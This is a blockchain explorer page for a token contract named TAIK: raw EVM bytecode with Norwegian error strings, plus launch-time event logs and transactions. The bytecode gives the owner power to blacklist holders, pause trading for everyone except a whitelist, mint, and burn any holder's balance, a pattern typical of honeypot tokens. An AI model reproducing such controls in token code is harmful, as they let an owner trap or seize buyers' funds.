25579160209391610cec867fb71f236d3b30175687e3a212815437545ac06be71b8c8d1debc7cd5d37de55f9979561138f565b60025516948587528352808620610d0483825461138f565b905584865f805160206115ac833981519152858451868152a351908152a280f35b835162461bcd60e51b815260208188015260166024820152751bdd995c9cdadc9a59195c881b585adcd51a5b189d5960521b6044820152606490fd5b5050346102215781600319360112610221576020905160128152f35b919050346102d85760603660031901126102d857610d99611258565b610da1611272565b6001600160a01b0382168086526005602090815284872033885281528487205490956044359492919060018201610de1575b505050906107d0929161139c565b858210610e15575094809697610dfa866107d0986112f1565b92815260058952818120338252895220558594935f80610dd3565b865162461bcd60e51b8152908101889052601960248201527f7574696c737472656b6b656c69672074696c6c6174656c7365000000000000006044820152606490fd5b5050346102215760203660031901126102215760209160ff9082906001600160a01b03610e83611258565b168152600a855220541690519015158152f35b5050346102215781600319360112610221576020906002549051908152f35b50503461022157610ec536611297565b9060018060a09594951b0390600694610ee283875416331461152b565b865b828110610eef578780f35b80610f016106fe610f12938686611573565b85808a5416911603610f1757611565565b610ee4565b84610f266106fe838787611573565b168952602060098152610f4787898c209060ff801983541691151516179055565b7fc3951b9d1e875db1a3b0a27af3c4109f1ec0b0a05f9f8d1f5e59d352555d183486610f776106fe858989611573565b169189518915158152a2611565565b505034610221578160031936011261022157602090517f4aca585368fecc3665afdaa46768710f1e6de3792479e7f92ec2cb8d1f7fc06f8152f35b50503461022157806003193601126102215760209181610fdf611258565b91602435918291338152600587528181209460018060a01b0316948582528752205582519081527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925843392a35160018152f35b50503461022157816003193601126102215761083590610822611086565b90601f8019910116810190811067ffffffffffffffff82111761107257604052565b634e487b7160e01b5f52604160045260245ffd5b604051905f805490600182811c90808416938415611161575b602094858410811461114d578388528794939291811561112d57506001146110d2575b50506110d092500383611050565b565b5f8080527f290decd9548b62a8d60345a988386fc84ba6bc95484008f6362f93160ef3e56395935091905b8183106111155750506110d093508201015f806110c2565b855488840185015294850194879450918301916110fd565b9150506110d094925060ff191682840152151560051b8201015f806110c2565b634e487b7160e01b85526022600452602485fd5b91607f169161109f565b604051905f60019081549182811c90808416938415611210575b602094858410811461114d578388528794939291811561112d57506001146111b55750506110d092500383611050565b5f8181527fb10e2d527612073b26eecdfd717e6a320cf44b4afac2b0732d9fcbe2b7fa0cf695935091905b8183106111f85750506110d093508201015f806110c2565b855488840185015294850194879450918301916111e0565b91607f1691611185565b91908251928382525f5b848110611244575050825f602080949584010152601f8019910116010190565b602081830181015184830182015201611224565b600435906001600160a01b038216820361126e57565b5f80fd5b602435906001600160a01b038216820361126e57565b60243590811515820361126e57565b90604060031983011261126e5760043567ffffffffffffffff9283821161126e578060238301121561126e57816004013593841161126e5760248460051b8301011161126e576024019190602435801515810361126e5790565b919082039182116112fe57565b634e487b7160e01b5f52601160045260245ffd5b1561131957565b60405162461bcd60e51b815260206004820152600b60248201526a6e756c6c6164726573736560a81b6044820152606490fd5b1561135357565b60405162461bcd60e51b81526020600482015260146024820152737574696c737472656b6b656c69672073616c646f60601b6044820152606490fd5b919082018092116112fe57565b90916001600160a01b03918216919082151580611520575b6113bd90611312565b5f938385526004946020938685526040926113dd8585852054101561134c565b8683526009865260ff84842054166114e55716958682526009855260ff83832054166114aa578682526008855260ff83832054168061149e575b611460575b91815f805160206115ac833981519152959493878394528086528282206114448682546112f1565b905588825285522061145783825461138f565b905551908152a3565b858252600a855260ff838320541661141c57825162461bcd60e51b815290810185905260066024820152651c185d5cd95d60d21b6044820152606490fd5b5060ff600b5416611417565b825162461bcd60e51b815290810185905260156024820152741b5bdd1d185ad95c881cdd985c9d195b1a5cdd195d605a1b6044820152606490fd5b835162461bcd60e51b81528089018790526015602482015274185d9cd95b99195c881cdd985c9d195b1a5cdd195d605a1b6044820152606490fd5b5083821615156113b4565b1561153257565b60405162461bcd60e51b815260206004820152600b60248201526a34b5b5b29032b4b2b932b760a91b6044820152606490fd5b5f1981146112fe5760010190565b91908110156115835760051b0190565b634e487b7160e01b5f52603260045260245ffd5b356001600160a01b038116810361126e579056feddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3efa26469706673582212200bba711902b1b7dea8f98089f8a6bf67c94e28607bff1c361676ba265da0947664736f6c63430008140033000000000000000000000000000000000000000000000000000000000000008000000000000000000000000000000000000000000000000000000000000000c0000000000000000000000000000000000000000000000000000000174876e800000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000045441494b0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000045441494b00000000000000000000000000000000000000000000000000000000
0x6040608081526004908136101561001f575b5050361561001d575f80fd5b005b5f91823560e01c90816306fdde0314611032578163095ea7b314610fc15781630ac064f614610f865781631131282114610eb557816318160ddd14610e96578163200cb86214610e5857816323b872dd14610d7d578163313ce56714610d615781634ec1e2eb14610c6d57816365f1990c14610bb65781636ca849d714610b925781636dc49a0014610a1f5781636f36d14714610a0057816370a08231146109ca578163715018a61461095c57816379ba5097146108a057816379bf9ec9146108625781638da5cb5b1461083957816395d89b41146108045781639a93095c146107d7578163a9059cbb146107a6578163b95de89014610768578163bdeda274146106b0578163c9343e7814610691578163cd16254314610610578163cf952e101461054c578163d0fee5a81461047d578163dd62ed3e14610434578163df06d20314610382578163e30c397814610359578163f2fde38b146102dc578163f64c497e1461027757508063f8b68173146102255763fd9d06020361001157346102215781600319360112610221576101f5906002549060035460018060a01b036006541660ff600b541690600c54926101d6611086565b956102036101e261116b565b8751998a9960e08b5260e08b019061121a565b9089820360208b015261121a565b9587015260608601526080850152151560a084015260c08301520390f35b5080fd5b50346102215781600319360112610221578180808060018060a01b036006541661025081331461152b565b479082821561026e575bf115610264575080f35b51903d90823e3d90fd5b506108fc61025a565b839034610221576020366003190112610221573580159081158091036102d8576102ac60018060a01b0360065416331461152b565b60ff8019600b5416911617600b55806102ce575b6102c75780f35b43600c5580f35b50600c54156102c0565b8280fd5b8334610356576020366003190112610356576102f6611258565b6006546001600160a01b039081169161031033841461152b565b169061031d821515611312565b600780546001600160a01b031916831790557f404c288caf504d53381e90a8b55425240286c6d1fa5e03b06a3f0a1429b6a67a8380a380f35b80fd5b50503461022157816003193601126102215760075490516001600160a01b039091168152602090f35b5050346102215780600319360112610221577f476def4ac09ce4b63434d02ddaef3b61b04b4ff93cd9e76d8950dd9350a5079d60206103bf611258565b6103c7611288565b60065490916001600160a01b03916103e2908316331461152b565b16936103ef851515611312565b8486526008835261040e828288209060ff801983541691151516179055565b600a835261042a828288209060ff801983541691151516179055565b519015158152a280f35b50503461022157806003193601126102215780602092610452611258565b61045a611272565b6001600160a01b0391821683526005865283832091168252845220549051908152f35b9050346102d857816003193601126102d857610497611258565b916104a0611288565b6006546001600160a01b03908116949193916104bd33871461152b565b1693841461050a57507fc3951b9d1e875db1a3b0a27af3c4109f1ec0b0a05f9f8d1f5e59d352555d1834916020918486526009835261042a828288209060ff801983541691151516179055565b6020606492519162461bcd60e51b8352820152601a60248201527f65696572206b616e20696b6b65207376617274656c69737465730000000000006044820152fd5b919050346102d85760203660031901126102d857670de0b6b3a76400008235818102939181159185041417156105fd57338452806020526105928383862054101561134c565b3384526020528083206105a68382546112f1565b90556105b4826002546112f1565b6002558281518381525f805160206115ac83398151915260203392a3519081527f8ea471dd8280d7b7f479b46698c715d5a9f1098f18469c3a131e87fbf025d92d60203392a280f35b634e487b7160e01b845260119052602483fd5b5050346102215780600319360112610221577fd445bb5f91acdc144c2264400afb9b5537f6d2eccf625d89653a656ca3bd7e57602061064d611258565b610655611288565b60065490916001600160a01b0391610670908316331461152b565b1693848652600a835261042a828288209060ff801983541691151516179055565b5050346102215781600319360112610221576020906003549051908152f35b505034610221576106c036611297565b60065492939290916001600160a01b03916106de908316331461152b565b855b8181106106eb578680f35b80836107036106fe61076394868b611573565b611597565b1688526020600a815261072486888b209060ff801983541691151516179055565b7fd445bb5f91acdc144c2264400afb9b5537f6d2eccf625d89653a656ca3bd7e57856107546106fe85888d611573565b169188518815158152a2611565565b6106e0565b5050346102215760203660031901126102215760209160ff9082906001600160a01b03610793611258565b1681526008855220541690519015158152f35b5050346102215780600319360112610221576020906107d06107c6611258565b602435903361139c565b5160018152f35b919050346102d85760203660031901126102d857813591338452806020526105928383862054101561134c565b5050346102215781600319360112610221576108359061082261116b565b905191829160208352602083019061121a565b0390f35b50503461022157816003193601126102215760065490516001600160a01b039091168152602090f35b5050346102215760203660031901126102215760209160ff9082906001600160a01b0361088d611258565b1681526009855220541690519015158152f35b9050346102d857826003193601126102d8576007546001600160a01b0380821692909190338490036109245750826006549283167f56f541037b31d514da157a33863f914aae287ceceae28f2c64e841f4c323248a8780a36001600160a01b03199182168317600655166007558252600a6020528120805460ff1916600117905580f35b606490602086519162461bcd60e51b8352820152601260248201527134b5b5b2903b32b73a32b732329032b4b2b960711b6044820152fd5b8334610356578060031936011261035657600654816001600160a01b03821661098633821461152b565b7f56f541037b31d514da157a33863f914aae287ceceae28f2c64e841f4c323248a8280a36bffffffffffffffffffffffff60a01b9081600754166007551660065580f35b9050346102d85760203660031901126102d85760209282916001600160a01b036109f2611258565b168252845220549051908152f35b505034610221578160031936011261022157602090600c549051908152f35b919050346102d857806003193601126102d857610a3a611258565b6006546001600160a01b039081169190610a5533841461152b565b81163014610b4557825191602083019063a9059cbb60e01b82526024840152602435604484015260448352608083019267ffffffffffffffff9381811085821117610b3257855251869283929083905af1903d15610b2c573d908111610b1957825190610acc601f8201601f191660200183611050565b81528460203d92013e5b15610adf578280f35b906020606492519162461bcd60e51b835282015260146024820152736f766572666f72696e67206d69736c796b74657360601b6044820152fd5b634e487b7160e01b855260418452602485fd5b50610ad6565b634e487b7160e01b885260418752602488fd5b825162461bcd60e51b8152602081860152602160248201527f6567656e20746f6b656e206b616e20696b6b6520676a656e6f707072657474656044820152607360f81b6064820152608490fd5b50503461022157816003193601126102215760209060ff600b541690519015158152f35b919050346102d857806003193601126102d85760207f8ea471dd8280d7b7f479b46698c715d5a9f1098f18469c3a131e87fbf025d92d91610bf5611258565b60065460243592916001600160a01b0391610c13908316331461152b565b1694858752808452610c2a8383892054101561134c565b8587528352808620610c3d8382546112f1565b9055610c4b826002546112f1565b60025585855f805160206115ac833981519152858451868152a351908152a280f35b919050346102d857806003193601126102d857610c88611258565b60065460243592916001600160a01b0391610ca6908316331461152b565b600254610cb3858261138f565b60035410610d25579160209391610cec867fb71f236d3b30175687e3a212815437545ac06be71b8c8d1debc7cd5d37de55f9979561138f565b60025516948587528352808620610d0483825461138f565b905584865f805160206115ac833981519152858451868152a351908152a280f35b835162461bcd60e51b815260208188015260166024820152751bdd995c9cdadc9a59195c881b585adcd51a5b189d5960521b6044820152606490fd5b5050346102215781600319360112610221576020905160128152f35b919050346102d85760603660031901126102d857610d99611258565b610da1611272565b6001600160a01b0382168086526005602090815284872033885281528487205490956044359492919060018201610de1575b505050906107d0929161139c565b858210610e15575094809697610dfa866107d0986112f1565b92815260058952818120338252895220558594935f80610dd3565b865162461bcd60e51b8152908101889052601960248201527f7574696c737472656b6b656c69672074696c6c6174656c7365000000000000006044820152606490fd5b5050346102215760203660031901126102215760209160ff9082906001600160a01b03610e83611258565b168152600a855220541690519015158152f35b5050346102215781600319360112610221576020906002549051908152f35b50503461022157610ec536611297565b9060018060a09594951b0390600694610ee283875416331461152b565b865b828110610eef578780f35b80610f016106fe610f12938686611573565b85808a5416911603610f1757611565565b610ee4565b84610f266106fe838787611573565b168952602060098152610f4787898c209060ff801983541691151516179055565b7fc3951b9d1e875db1a3b0a27af3c4109f1ec0b0a05f9f8d1f5e59d352555d183486610f776106fe858989611573565b169189518915158152a2611565565b505034610221578160031936011261022157602090517f4aca585368fecc3665afdaa46768710f1e6de3792479e7f92ec2cb8d1f7fc06f8152f35b50503461022157806003193601126102215760209181610fdf611258565b91602435918291338152600587528181209460018060a01b0316948582528752205582519081527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925843392a35160018152f35b50503461022157816003193601126102215761083590610822611086565b90601f8019910116810190811067ffffffffffffffff82111761107257604052565b634e487b7160e01b5f52604160045260245ffd5b604051905f805490600182811c90808416938415611161575b602094858410811461114d578388528794939291811561112d57506001146110d2575b50506110d092500383611050565b565b5f8080527f290decd9548b62a8d60345a988386fc84ba6bc95484008f6362f93160ef3e56395935091905b8183106111155750506110d093508201015f806110c2565b855488840185015294850194879450918301916110fd565b9150506110d094925060ff191682840152151560051b8201015f806110c2565b634e487b7160e01b85526022600452602485fd5b91607f169161109f565b604051905f60019081549182811c90808416938415611210575b602094858410811461114d578388528794939291811561112d57506001146111b55750506110d092500383611050565b5f8181527fb10e2d527612073b26eecdfd717e6a320cf44b4afac2b0732d9fcbe2b7fa0cf695935091905b8183106111f85750506110d093508201015f806110c2565b855488840185015294850194879450918301916111e0565b91607f1691611185565b91908251928382525f5b848110611244575050825f602080949584010152601f8019910116010190565b602081830181015184830182015201611224565b600435906001600160a01b038216820361126e57565b5f80fd5b602435906001600160a01b038216820361126e57565b60243590811515820361126e57565b90604060031983011261126e5760043567ffffffffffffffff9283821161126e578060238301121561126e57816004013593841161126e5760248460051b8301011161126e576024019190602435801515810361126e5790565b919082039182116112fe57565b634e487b7160e01b5f52601160045260245ffd5b1561131957565b60405162461bcd60e51b815260206004820152600b60248201526a6e756c6c6164726573736560a81b6044820152606490fd5b1561135357565b60405162461bcd60e51b81526020600482015260146024820152737574696c737472656b6b656c69672073616c646f60601b6044820152606490fd5b919082018092116112fe57565b90916001600160a01b03918216919082151580611520575b6113bd90611312565b5f938385526004946020938685526040926113dd8585852054101561134c565b8683526009865260ff84842054166114e55716958682526009855260ff83832054166114aa578682526008855260ff83832054168061149e575b611460575b91815f805160206115ac833981519152959493878394528086528282206114448682546112f1565b905588825285522061145783825461138f565b905551908152a3565b858252600a855260ff838320541661141c57825162461bcd60e51b815290810185905260066024820152651c185d5cd95d60d21b6044820152606490fd5b5060ff600b5416611417565b825162461bcd60e51b815290810185905260156024820152741b5bdd1d185ad95c881cdd985c9d195b1a5cdd195d605a1b6044820152606490fd5b835162461bcd60e51b81528089018790526015602482015274185d9cd95b99195c881cdd985c9d195b1a5cdd195d605a1b6044820152606490fd5b5083821615156113b4565b1561153257565b60405162461bcd60e51b815260206004820152600b60248201526a34b5b5b29032b4b2b932b760a91b6044820152606490fd5b5f1981146112fe5760010190565b91908110156115835760051b0190565b634e487b7160e01b5f52603260045260245ffd5b356001600160a01b038116810361126e579056feddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3efa26469706673582212200bba711902b1b7dea8f98089f8a6bf67c94e28607bff1c361676ba265da0947664736f6c63430008140033
| Token | Symbol | Balance | Price | Value |
|---|---|---|---|---|
| no token holdings | ||||
| Type | Age | Block | Details |
|---|---|---|---|
| no cross-chain L1↔L2 transactions for this address | |||
| Txn Hash | Age | Event | Topics / Data |
|---|---|---|---|
| 0x3b1928…f4750b | 9 days agoSat, 08 Aug 2026 08:30:48 UTC | Transfer | [0] 0x000000000000…43e40951 [1] 0x000000000000…8763a77f data: 0x000000000000000000…2199259c |
| 0xda6dd3…3db888 | 9 days agoSat, 08 Aug 2026 08:28:57 UTC | 0xd445bb…7e57 | [0] 0x000000000000…68ee917e data: 0x000000000000000000…00000001 |
| 0xda6dd3…3db888 | 9 days agoSat, 08 Aug 2026 08:28:57 UTC | 0xd445bb…7e57 | [0] 0x000000000000…d303d20f data: 0x000000000000000000…00000001 |
| 0xda6dd3…3db888 | 9 days agoSat, 08 Aug 2026 08:28:57 UTC | 0xd445bb…7e57 | [0] 0x000000000000…e6ba63eb data: 0x000000000000000000…00000001 |
| 0xda6dd3…3db888 | 9 days agoSat, 08 Aug 2026 08:28:57 UTC | 0xd445bb…7e57 | [0] 0x000000000000…bddaab2e data: 0x000000000000000000…00000001 |
| 0xda6dd3…3db888 | 9 days agoSat, 08 Aug 2026 08:28:57 UTC | 0xd445bb…7e57 | [0] 0x000000000000…64f884a0 data: 0x000000000000000000…00000001 |
| 0xda6dd3…3db888 | 9 days agoSat, 08 Aug 2026 08:28:57 UTC | 0xd445bb…7e57 | [0] 0x000000000000…0b6a9925 data: 0x000000000000000000…00000001 |
| 0xda6dd3…3db888 | 9 days agoSat, 08 Aug 2026 08:28:57 UTC | 0xd445bb…7e57 | [0] 0x000000000000…b604dd6d data: 0x000000000000000000…00000001 |
| 0xda6dd3…3db888 | 9 days agoSat, 08 Aug 2026 08:28:57 UTC | 0xd445bb…7e57 | [0] 0x000000000000…977607f2 data: 0x000000000000000000…00000001 |
| 0xda6dd3…3db888 | 9 days agoSat, 08 Aug 2026 08:28:57 UTC | 0xd445bb…7e57 | [0] 0x000000000000…cd141a06 data: 0x000000000000000000…00000001 |
| 0xda6dd3…3db888 | 9 days agoSat, 08 Aug 2026 08:28:57 UTC | 0xd445bb…7e57 | [0] 0x000000000000…c30fe688 data: 0x000000000000000000…00000001 |
| 0xda6dd3…3db888 | 9 days agoSat, 08 Aug 2026 08:28:57 UTC | 0xd445bb…7e57 | [0] 0x000000000000…74ca785f data: 0x000000000000000000…00000001 |
| 0xda6dd3…3db888 | 9 days agoSat, 08 Aug 2026 08:28:57 UTC | 0xd445bb…7e57 | [0] 0x000000000000…b1d91c7b data: 0x000000000000000000…00000001 |
| 0xda6dd3…3db888 | 9 days agoSat, 08 Aug 2026 08:28:57 UTC | 0xd445bb…7e57 | [0] 0x000000000000…9256bc34 data: 0x000000000000000000…00000001 |
| 0xda6dd3…3db888 | 9 days agoSat, 08 Aug 2026 08:28:57 UTC | 0xd445bb…7e57 | [0] 0x000000000000…305d06e7 data: 0x000000000000000000…00000001 |
| 0xda6dd3…3db888 | 9 days agoSat, 08 Aug 2026 08:28:57 UTC | 0xd445bb…7e57 | [0] 0x000000000000…61d65a52 data: 0x000000000000000000…00000001 |
| 0xda6dd3…3db888 | 9 days agoSat, 08 Aug 2026 08:28:57 UTC | 0xd445bb…7e57 | [0] 0x000000000000…f04ac428 data: 0x000000000000000000…00000001 |
| 0xebe64e…593a1f | 9 days agoSat, 08 Aug 2026 08:25:11 UTC | Transfer | [0] 0x000000000000…43e40951 [1] 0x000000000000…f04ac428 data: 0x000000000000000000…3325e679 |
| 0x4d27c0…f4b745 | 9 days agoSat, 08 Aug 2026 08:24:27 UTC | Transfer | [0] 0x000000000000…43e40951 [1] 0x000000000000…8763a77f data: 0x000000000000000000…9340c400 |
| 0x47a105…851b6f | 9 days agoSat, 08 Aug 2026 08:24:26 UTC | 0x476def…079d | [0] 0x000000000000…43e40951 data: 0x000000000000000000…00000001 |
| 0x7de3c0…14fda4 | 9 days agoSat, 08 Aug 2026 08:24:26 UTC | Transfer | [0] 0x000000000000…8763a77f [1] 0x000000000000…43e40951 data: 0x000000000000000000…e7ffd018 |
| 0x59d793…8b5d67 | 9 days agoSat, 08 Aug 2026 08:24:23 UTC | Approval | [0] 0x000000000000…8763a77f [1] 0x000000000000…3ac78ba3 data: 0xffffffffffffffffff…ffffffff |
| 0xd2aab0…40c98d | 9 days agoSat, 08 Aug 2026 08:24:22 UTC | Transfer | [0] 0x000000000000…00000000 [1] 0x000000000000…8763a77f data: 0x000000000000000000…a0000000 |
| 0xd2aab0…40c98d | 9 days agoSat, 08 Aug 2026 08:24:22 UTC | 0x476def…079d | [0] 0x000000000000…a2a69f13 data: 0x000000000000000000…00000001 |
| 0xd2aab0…40c98d | 9 days agoSat, 08 Aug 2026 08:24:22 UTC | 0x476def…079d | [0] 0x000000000000…2d67a6ff data: 0x000000000000000000…00000001 |
| Transaction Hash | Method | Block | Age | From | To | Type | Item | ||
|---|---|---|---|---|---|---|---|---|---|
| no NFT transfers for this address yet | |||||||||
| Transaction Hash | Method | Block | Age | From | To | Amount | Token | ||
|---|---|---|---|---|---|---|---|---|---|
| no token transfers for this address yet | |||||||||
| Block | Age | Parent Transaction Hash | Type | Method | From | To | Value | |
|---|---|---|---|---|---|---|---|---|
| no internal transactions found for this address yet (traced blocks + on-demand) | ||||||||
| Transaction Hash | Method ? | Block | Age | From | To | Amount | Txn Fee ? | ||
|---|---|---|---|---|---|---|---|---|---|
| 0xda6dd3…3db888 | settHvitelisteMasse | 30,930,143 | 9 days agoSat, 08 Aug 2026 08:28:57 UTC | 0x6597…a77f | IN | TAIK | $0.000 ETH | 0.00001243 | |
| 0x47a105…851b6f | settPar | 30,927,451 | 9 days agoSat, 08 Aug 2026 08:24:26 UTC | 0x6597…a77f | IN | TAIK | $0.000 ETH | 0.00000212 | |
| 0x59d793…8b5d67 | Approve | 30,927,419 | 9 days agoSat, 08 Aug 2026 08:24:23 UTC | 0x6597…a77f | IN | TAIK | $0.000 ETH | 0.00000138 |